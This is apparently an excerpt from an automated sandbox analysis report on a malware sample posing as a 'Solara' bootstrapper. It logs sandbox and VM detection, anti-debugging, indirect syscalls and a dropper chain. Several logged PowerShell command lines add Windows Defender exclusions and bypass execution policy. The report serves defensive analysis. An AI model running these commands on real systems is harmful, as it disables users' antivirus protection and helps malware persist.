Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597416	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597296	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597176	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 597058	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596937	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596794	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596675	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596557	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596428	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596287	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 596141	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595962	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595811	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595625	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 595062	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594897	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594734	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594574	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594439	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594267	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 594028	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593891	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593732	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593578	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593437	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593294	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 593156	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592968	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592797	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592656	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592525	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592389	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592260	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592123	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 592000	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591812	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591578	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591406	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591227	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 591084	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590936	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590822	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590609	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590437	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590286	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 590123	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589973	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589850	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589703	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589568	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589442	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589187	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 589056	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588906	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588749	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588638	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588531	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588419	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588311	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588187	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 588029	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587922	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587797	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587679	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587546	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587430	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587322	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587212	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 587106	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586997	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586875	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586720	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586594	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586484	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586365	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586203	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 586058	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585948	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585812	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585672	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585558	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585435	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585309	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585198	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Thread delayed: delay time: 585078	Jump to behavior
Source: C:\Media\fontreview.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Uninstall Information\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 100000
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99656
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99425
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99297
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99187
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99074
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98952
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98843
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98732
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98621
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98515
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98380
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 98250
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99889
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99750
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 99623
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 597235
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 300000
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 596219
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Thread delayed: delay time: 300000

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: fontreview.exe, 0000000A.00000002.1438813876.000000000269B000.00000004.00000800.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1539162288.00000000026DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: hyper-v video
Source: wscript.exe, 00000005.00000003.1379224333.00000000031DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}w^x
Source: SolaraBootstrapper.exe, 00000006.00000002.1615946886.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: smss.exe, 0000002D.00000002.1539162288.00000000026DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: fontreview.exe, 0000000A.00000002.1475389323.000000001BDD7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll1
Source: Boostraper.bat, 00000004.00000003.1371745942.0000000003271000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: wscript.exe, 00000005.00000003.1379224333.00000000031DF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Y]
Source: SolaraBootstrapper.exe, 00000006.00000002.1615946886.00000000008F2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}nU2\|
Source: w32tm.exe, 00000025.00000002.1491191519.000001CF0D137000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllK
Source: SolaraBootstrapper.exe, 00000006.00000002.1615946886.00000000008F2000.00000004.00000020.00020000.00000000.sdmp, fontreview.exe, 0000000A.00000002.1467215094.000000001B5EE000.00000004.00000020.00020000.00000000.sdmp, smss.exe, 0000002D.00000002.1704110577.000000001C849000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\ProgramData\Bootstrapper.exe	API call chain: ExitProcess graph end node			graph_3-347
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	API call chain: ExitProcess graph end node			graph_4-24400

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

System information queried: ModuleInformation

Source: C:\ProgramData\SolaraBootstrapper.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe

Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Process queried: DebugObjectHandle
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Process queried: DebugPort

Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe

Code function: 38_2_00007FFB4B261A89 rdtsc

38_2_00007FFB4B261A89

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0079866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_0079866F

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0079753D mov eax, dword ptr fs:[00000030h]

4_2_0079753D

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat

Code function: 4_2_0079B710 GetProcessHeap,

4_2_0079B710

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Media\fontreview.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Process token adjusted: Debug
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Process token adjusted: Debug
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Process token adjusted: Debug
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Process token adjusted: Debug
Source: C:\Program Files\Uninstall Information\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Uninstall Information\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Uninstall Information\smss.exe	Process token adjusted: Debug
Source: C:\Program Files\Uninstall Information\smss.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078F063 SetUnhandledExceptionFilter,	4_2_0078F063
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078F22B SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	4_2_0078F22B
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079866F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0079866F
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078EF05 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	4_2_0078EF05

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'	Jump to behavior
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\msbuild\Microsoft\Windows Workflow Foundation\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe'

Bypasses PowerShell execution policy

Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	NtQuerySystemInformation: Indirect: 0x180569DB5
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	NtQueryInformationProcess: Indirect: 0x1806AE28D
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	NtSetInformationThread: Indirect: 0x18060E2B8
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	NtQueryInformationProcess: Indirect: 0x18068DB5F

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Roaming\Bootstrapper.exe "C:\Users\user\AppData\Roaming\Bootstrapper.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\ProgramData\Bootstrapper.exe "C:\ProgramData\Bootstrapper.exe"	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Local\Temp\Boostraper.bat "C:\Users\user\AppData\Local\Temp\Boostraper.bat"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Bootstrapper.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe'	Jump to behavior
Source: C:\ProgramData\Bootstrapper.exe	Process created: C:\ProgramData\SolaraBootstrapper.exe "C:\ProgramData\SolaraBootstrapper.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Media\3KNj5pJ.bat" "	Jump to behavior
Source: C:\ProgramData\SolaraBootstrapper.exe	Process created: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe "C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Media\fontreview.exe "C:\Media\fontreview.exe"
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Media\fontreview.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Uninstall Information\smss.exe'
Source: C:\Media\fontreview.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\internet explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe'
